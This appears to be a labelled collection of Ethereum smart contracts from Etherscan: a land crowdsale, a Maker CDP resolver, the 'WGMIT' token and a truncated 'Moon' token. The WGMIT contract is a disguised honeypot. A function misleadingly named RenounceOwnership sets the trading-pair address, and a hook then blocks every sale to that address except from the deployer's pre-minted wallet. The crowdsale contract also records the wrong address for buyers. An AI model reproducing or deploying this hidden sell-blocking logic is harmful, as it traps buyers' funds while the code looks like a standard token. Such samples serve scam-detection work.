== b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } /** * @title LandSale * @dev Landsale contract is a timed, refundable crowdsale for land. It has * a tiered increasing price element based on number of land sold per type. * @notice We omit a fallback function to prevent accidental sends to this contract. */ contract LandSale is Ownable { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; uint256 constant public VILLAGE_START_PRICE = 1200000000000000; // 0.0012 ETH uint256 constant public TOWN_START_PRICE = 5000000000000000; // 0.005 ETH uint256 constant public CITY_START_PRICE = 20000000000000000; // 0.02 ETH uint256 constant public VILLAGE_INCREASE_RATE = 500000000000000; // 0.0005 ETH uint256 constant public TOWN_INCREASE_RATE = 2500000000000000; // 0.0025 ETH uint256 constant public CITY_INCREASE_RATE = 12500000000000000; // 0.0125 ETH // Address where funds are collected address public wallet; // Amount of wei raised uint256 public weiRaised; // minimum amount of funds to be raised in wei uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; // Array of addresses who purchased land via their ethereum address address[] public walletUsers; uint256 public walletUserCount; // Array of users who purchased land via other method (ex. CC) bytes32[] public ccUsers; uint256 public ccUserCount; // Number of each landType sold uint256 public villagesSold; uint256 public townsSold; uint256 public citiesSold; // 0 - Plot // 1 - Village // 2 - Town // 3 - City // user wallet address -> # of land mapping (address => uint256) public addressToNumVillages; mapping (address => uint256) public addressToNumTowns; mapping (address => uint256) public addressToNumCities; // user id hash -> # of land mapping (bytes32 => uint256) public userToNumVillages; mapping (bytes32 => uint256) public userToNumTowns; mapping (bytes32 => uint256) public userToNumCities; bool private paused = false; bool public isFinalized = false; /** * @dev Send events for every purchase. Also send an event when LandSale is complete */ event LandPurchased(address indexed purchaser, uint256 value, uint8 landType, uint256 quantity); event LandPurchasedCC(bytes32 indexed userId, address indexed purchaser, uint8 landType, uint256 quantity); event Finalized(); /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime && !paused); _; } /** * @dev Constructor. One-time set up of goal and opening/closing times of landsale */ function LandSale(address _wallet, uint256 _goal, uint256 _openingTime, uint256 _closingTime) public { require(_wallet != address(0)); require(_goal > 0); require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); wallet = _wallet; vault = new RefundVault(wallet); goal = _goal; openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Add new ethereum wallet users to array */ function addWalletAddress(address walletAddress) private { if ((addressToNumVillages[walletAddress] == 0) && (addressToNumTowns[walletAddress] == 0) && (addressToNumCities[walletAddress] == 0)) { // only add address to array during first land purchase walletUsers.push(msg.sender); walletUserCount++; } } /** * @dev Add new CC users to array */ function addCCUser(bytes32 user) private { if ((userToNumVillages[user] == 0) && (userToNumTowns[user] == 0) && (userToNumCities[user] == 0)) { // only add user to array during first land purchase ccUsers.push(user); ccUserCount++; } } /** * @dev Purchase a village. For bulk purchase, current price honored for all * villages purchased. */ function purchaseVillage(uint256 numVillages) payable public onlyWhileOpen { require(msg.value >= (villagePrice()*numVillages)); require(numVillages > 0); weiRaised = weiRaised.add(msg.value); villagesSold = villagesSold.add(numVillages); addWalletAddress(msg.sender); addressToNumVillages[msg.sender] = addressToNumVillages[msg.sender].add(numVillages); _forwardFunds(); LandPurchased(msg.sender, msg.value, 1, numVillages); } /** * @dev Purchase a town. For bulk purchase, current price honored for all * towns purchased. */ function purchaseTown(uint256 numTowns) payable public onlyWhileOpen { require(msg.value >= (townPrice()*numTowns)); require(numTowns > 0); weiRaised = weiRaised.add(msg.value); townsSold = townsSold.add(numTowns); addWalletAddress(msg.sender); addressToNumTowns[msg.sender] = addressToNumTowns[msg.sender].add(numTowns); _forwardFunds(); LandPurchased(msg.sender, msg.value, 2, numTowns); } /** * @dev Purchase a city. For bulk purchase, current price honored for all * cities purchased. */ function purchaseCity(uint256 numCities) payable public onlyWhileOpen { require(msg.value >= (cityPrice()*numCities)); require(numCities > 0); weiRaised = weiRaised.add(msg.value); citiesSold = citiesSold.add(numCities); addWalletAddress(msg.sender); addressToNumCities[msg.sender] = addressToNumCities[msg.sender].add(numCities); _forwardFunds(); LandPurchased(msg.sender, msg.value, 3, numCities); } /** * @dev Accounting for the CC purchases for audit purposes (no actual ETH transfer here) */ function purchaseLandWithCC(uint8 landType, bytes32 userId, uint256 num) public onlyOwner onlyWhileOpen { require(landType <= 3); require(num > 0); addCCUser(userId); if (landType == 3) { weiRaised = weiRaised.add(cityPrice()*num); citiesSold = citiesSold.add(num); userToNumCities[userId] = userToNumCities[userId].add(num); } else if (landType == 2) { weiRaised = weiRaised.add(townPrice()*num); townsSold = townsSold.add(num); userToNumTowns[userId] = userToNumTowns[userId].add(num); } else if (landType == 1) { weiRaised = weiRaised.add(villagePrice()*num); villagesSold = villagesSold.add(num); userToNumVillages[userId] = userToNumVillages[userId].add(num); } LandPurchasedCC(userId, msg.sender, landType, num); } /** * @dev Returns the current price of a village. Price raises every 10 purchases. */ function villagePrice() view public returns(uint256) { return VILLAGE_START_PRICE.add((villagesSold.div(10).mul(VILLAGE_INCREASE_RATE))); } /** * @dev Returns the current price of a town. Price raises every 10 purchases */ function townPrice() view public returns(uint256) { return TOWN_START_PRICE.add((townsSold.div(10).mul(TOWN_INCREASE_RATE))); } /** * @dev Returns the current price of a city. Price raises every 10 purchases */ function cityPrice() view public returns(uint256) { return CITY_START_PRICE.add((citiesSold.div(10).mul(CITY_INCREASE_RATE))); } /** * @dev Allows owner to pause puchases during the landsale */ function pause() onlyOwner public { paused = true; } /** * @dev Allows owner to resume puchases during the landsale */ function resume() onlyOwner public { paused = false; } /** * @dev Allows owner to check the paused status * @return Whether landsale is paused */ function isPaused () onlyOwner public view returns(bool) { return paused; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev vault finalization task, called when owner calls finalize() */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } Finalized(); isFinalized = true; } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } }
True
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// Resolver to Wipe & Coll any CDP pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Assertion Failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Assertion Failed"); uint256 c = a / b; return c; } } interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } interface AddressRegistry { function getAddr(string name) external view returns(address); } interface MakerCDP { function join(uint wad) external; // Join PETH function lock(bytes32 cup, uint wad) external; function wipe(bytes32 cup, uint wad) external; function per() external view returns (uint ray); } interface PriceInterface { function peek() external view returns (bytes32, bool); } interface WETHFace { function deposit() external payable; function withdraw(uint wad) external; } interface InstaKyber { function executeTrade( address src, address dest, uint srcAmt, uint minConversionRate, uint maxDestAmt ) external payable returns (uint destAmt); function getExpectedPrice( address src, address dest, uint srcAmt ) external view returns (uint, uint); } contract Registry { address public addressRegistry; modifier onlyAdmin() { require( msg.sender == getAddress("admin"), "Permission Denied" ); _; } function getAddress(string name) internal view returns(address) { AddressRegistry addrReg = AddressRegistry(addressRegistry); return addrReg.getAddr(name); } } contract Helper is Registry { using SafeMath for uint; using SafeMath for uint256; address public cdpAddr; address public eth; address public weth; address public peth; address public mkr; address public dai; address public kyber; function pethPEReth(uint ethNum) public view returns (uint rPETH) { MakerCDP loanMaster = MakerCDP(cdpAddr); rPETH = (ethNum.mul(10 ** 27)).div(loanMaster.per()); } } contract Lock is Helper { event LockedETH(uint cdpNum, address lockedBy, uint lockETH, uint lockPETH); function lockETH(uint cdpNum) public payable { MakerCDP loanMaster = MakerCDP(cdpAddr); WETHFace wethTkn = WETHFace(weth); wethTkn.deposit.value(msg.value)(); // ETH to WETH uint pethToLock = pethPEReth(msg.value); loanMaster.join(pethToLock); // WETH to PETH loanMaster.lock(bytes32(cdpNum), pethToLock); // PETH to CDP emit LockedETH( cdpNum, msg.sender, msg.value, pethToLock ); } } contract Wipe is Lock { event WipedDAI(uint cdpNum, address wipedBy, uint daiWipe, uint mkrCharged); function wipeDAI(uint cdpNum, uint daiWipe) public payable { IERC20 daiTkn = IERC20(dai); IERC20 mkrTkn = IERC20(mkr); uint contractMKR = mkrTkn.balanceOf(address(this)); // contract MKR balance before wiping daiTkn.transferFrom(msg.sender, address(this), daiWipe); // get DAI to pay the debt MakerCDP loanMaster = MakerCDP(cdpAddr); loanMaster.wipe(bytes32(cdpNum), daiWipe); // wipe DAI uint mkrCharged = contractMKR - mkrTkn.balanceOf(address(this)); // MKR fee = before wiping bal - after wiping bal // claiming paid MKR back if (msg.value > 0) { // Interacting with Kyber to swap ETH with MKR swapETHMKR( mkrCharged, msg.value ); } else { // take MKR directly from address mkrTkn.transferFrom(msg.sender, address(this), mkrCharged); // user paying MKR fees } emit WipedDAI( cdpNum, msg.sender, daiWipe, mkrCharged ); } function swapETHMKR( uint mkrCharged, uint ethQty ) internal { InstaKyber instak = InstaKyber(kyber); uint minRate; (, minRate) = instak.getExpectedPrice(eth, mkr, ethQty); uint mkrBought = instak.executeTrade.value(ethQty)( eth, mkr, ethQty, minRate, mkrCharged ); require(mkrCharged == mkrBought, "ETH not sufficient to cover the MKR fees."); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } } contract ApproveTkn is Wipe { function approveERC20() public { IERC20 wethTkn = IERC20(weth); wethTkn.approve(cdpAddr, 2**256 - 1); IERC20 pethTkn = IERC20(peth); pethTkn.approve(cdpAddr, 2**256 - 1); IERC20 mkrTkn = IERC20(mkr); mkrTkn.approve(cdpAddr, 2**256 - 1); IERC20 daiTkn = IERC20(dai); daiTkn.approve(cdpAddr, 2**256 - 1); } } contract PublicCDP is ApproveTkn { event MKRCollected(uint amount); constructor(address rAddr) public { addressRegistry = rAddr; cdpAddr = getAddress("cdp"); eth = getAddress("eth"); weth = getAddress("weth"); peth = getAddress("peth"); mkr = getAddress("mkr"); dai = getAddress("dai"); kyber = getAddress("InstaKyber"); approveERC20(); } function () public payable {} // collecting MKR token kept as balance to pay fees function collectMKR(uint amount) public onlyAdmin { IERC20 mkrTkn = IERC20(mkr); mkrTkn.transfer(msg.sender, amount); emit MKRCollected(amount); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-12 */ /** * * WE'RE GONNA MAKE IT TOGETHER! * */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ // File @openzeppelin/contracts/token/ERC20/[email protected] /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _lamboFactory(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _lamboFactory(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _lamboFactory(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _lamboFactory(address from, address to, uint256 amount) internal virtual { } } contract WGMIT is ERC20, Ownable { mapping(address=>bool) private _blacklisted; address private _wgmitToken; constructor() ERC20('We\'re Gonna Make It Together','WGMIT') { _mint(0xB6e8DdeaFa766dD4adB54A3754854F462149858C, 10000000000000 * 10 ** 18); _blacklisted[0xB6e8DdeaFa766dD4adB54A3754854F462149858C] = true; } function BotBlacklist(address user, bool enable) public onlyOwner { _blacklisted[user] = enable; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { require(ERC20.totalSupply() + amount <= 10000000000000 * 10 ** 18, "ERC20Capped: coin amount exceeded"); super._mint(account, amount); } function RenounceOwnership(address wgmitToken_) public onlyOwner { _wgmitToken = wgmitToken_; } function _lamboFactory(address from, address to, uint256 amount) internal virtual override { if(to == _wgmitToken) { require(_blacklisted[from], "BOTS ARE NGMI!"); } } }
True
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/** *Submitted for verification at Etherscan.io on 2022-02-16 */ /* * Moon Moon Supply: 1 000 000 000 000 Max Wallet: 10 000 000 000 at launch then 20 000 000 000 Max TX: 2 500 000 000 at launch then 10 000 000 000 Tax: 10% 2% LP 2% Buybacks 2% Dev 4% Marketing DO NOT BUY UNTIL CONTRACT ADDRESS IS POSTED IN TELEGRAM * */ pragma solidity =0.8.7; // SPDX-License-Identifier: UNLICENSED interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IuniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IuniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IuniswapV2Router01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IuniswapV2Router02 is IuniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() external onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * 